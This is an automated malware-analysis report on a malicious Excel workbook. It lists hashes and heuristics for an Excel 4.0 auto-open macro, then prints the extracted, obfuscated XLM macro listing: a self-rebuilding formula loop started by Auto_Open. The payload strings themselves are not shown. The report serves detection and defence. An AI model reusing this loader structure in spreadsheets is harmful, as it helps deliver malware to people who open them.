Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a4cceda3771ebde…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:20 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f9a7a468c78a7ebd7517c6e752f2ca19 SHA-1: a01f70b0872de198a57a90499857ea04051da57d SHA-256: 6a4cceda3771ebde50689742fb46221e7b24a0b0e19f037cbb332b99041233f1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6503 bytes
SHA-256: 937feca10bfcc75311ff4cbfaf0f25166db6342ea51c31da70adf0140a13dab9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SHMjJ
' 0018     26 LABEL : Cell Value, String Constant - ArtEHKhmCVh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I143 
' 0018     23 LABEL : Cell Value, String Constant - BQrnbSQk len=0 
' 0018     26 LABEL : Cell Value, String Constant - CMfDaNgJuQr len=0 
' 0018     23 LABEL : Cell Value, String Constant - CvkJedyK len=0 
' 0018     22 LABEL : Cell Value, String Constant - DtxeBUE len=0 
' 0018     20 LABEL : Cell Value, String Constant - FrOTe len=0 
' 0018     24 LABEL : Cell Value, String Constant - humHmBtrE len=0 
' 0018     23 LABEL : Cell Value, String Constant - lqsnEiXS len=0 
' 0018     21 LABEL : Cell Value, String Constant - NonCnz len=0 
' 0018     27 LABEL : Cell Value, String Constant - pYlfHkSVkIjH len=0 
' 0018     27 LABEL : Cell Value, String Constant - QctDVEdnLqSA len=0 
' 0018     23 LABEL : Cell Value, String Constant - QncNqqsA len=0 
' 0018     26 LABEL : Cell Value, String Constant - RuFCvhRpmRR len=0 
' 0018     27 LABEL : Cell Value, String Constant - sNIZuySHOuJy len=0 
' 0018     23 LABEL : Cell Value, String Constant - UcmeraGW len=0 
' 0018     26 LABEL : Cell Value, String Constant - UFveUYbcHdz len=0 
' 0018     24 LABEL : Cell Value, String Constant - xPRkoLbDr len=0 
' 0018     20 LABEL : Cell Value, String Constant - YGqwV len=0 
' 0018     21 LABEL : Cell Value, String Constant - YtfmQH len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZViQLJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SHMjJ,I51,"SET.NAME("xPRkoLbDr",VALUE("0"))",""
'  SHMjJ,I56,"SET.NAME("sNIZuySHOuJy",xPRkoLbDr)",""
'  SHMjJ,I59,"SET.NAME("BQrnbSQk",xPRkoLbDr)",""
'  SHMjJ,I62,"SET.NAME("pYlfHkSVkIjH",COUNTA(UcmeraGW))",""
'  SHMjJ,I67,"SET.NAME("lqsnEiXS",COUNTA(ArtEHKhmCVh))",""
'  SHMjJ,I72,[],""
'  SHMjJ,I75,"SET.NAME("FrOTe","")",""
'  SHMjJ,I79,"sNIZuySHOuJy",""
'  SHMjJ,I82,"SET.NAME("YGqwV",HLOOKUP("*",UcmeraGW,sNIZuySHOuJy,FALSE))",""
'  SHMjJ,I85,"RuFCvhRpmRR",""
'  SHMjJ,I90,"SET.NAME("YtfmQH",xPRkoLbDr)",""
'  SHMjJ,I95,[],""
'  SHMjJ,I97,"YtfmQH",""
'  SHMjJ,I102,"humHmBtrE",""
'  SHMjJ,I105,"DtxeBUE",""
'  SHMjJ,I107,"CMfDaNgJuQr",""
'  SHMjJ,I110,"SET.NAME("QncNqqsA",VALUE(HLOOKUP("*",ArtEHKhmCVh,CMfDaNgJuQr,FALSE)))",""
'  SHMjJ,I113,"QctDVEdnLqSA",""
'  SHMjJ,I115,"FrOTe",""
'  SHMjJ,I119,"BQrnbSQk",""
'  SHMjJ,I122,NEXT(),""
'  SHMjJ,I126,"UFveUYbcHdz",""
'  SHMjJ,I129,"SET.NAME("f",INT(T(FORMULA(T(FrOTe)&"",""&T(UFveUYbcHdz)))))",""
'  SHMjJ,I131,"ZViQLJ",""
'  SHMjJ,I136,NEXT(),""
'  SHMjJ,I138,RETURN(),""
'  SHMjJ,I173,"SET.NAME("NonCnz",I51)",""
'  SHMjJ,I175,"UcmeraGW",""
'  SHMjJ,I179,"SET.NAME("ArtEHKhmCVh",R97C15)",""
'  SHMjJ,I181,"SET.NAME("ZViQLJ",190)",""
'  SHMjJ,I184,"SET.NAME("CvkJedyK",9)",""
'  SHMjJ,I189,NonCnz(),""
'  SHMjJ,I190,HALT(),""

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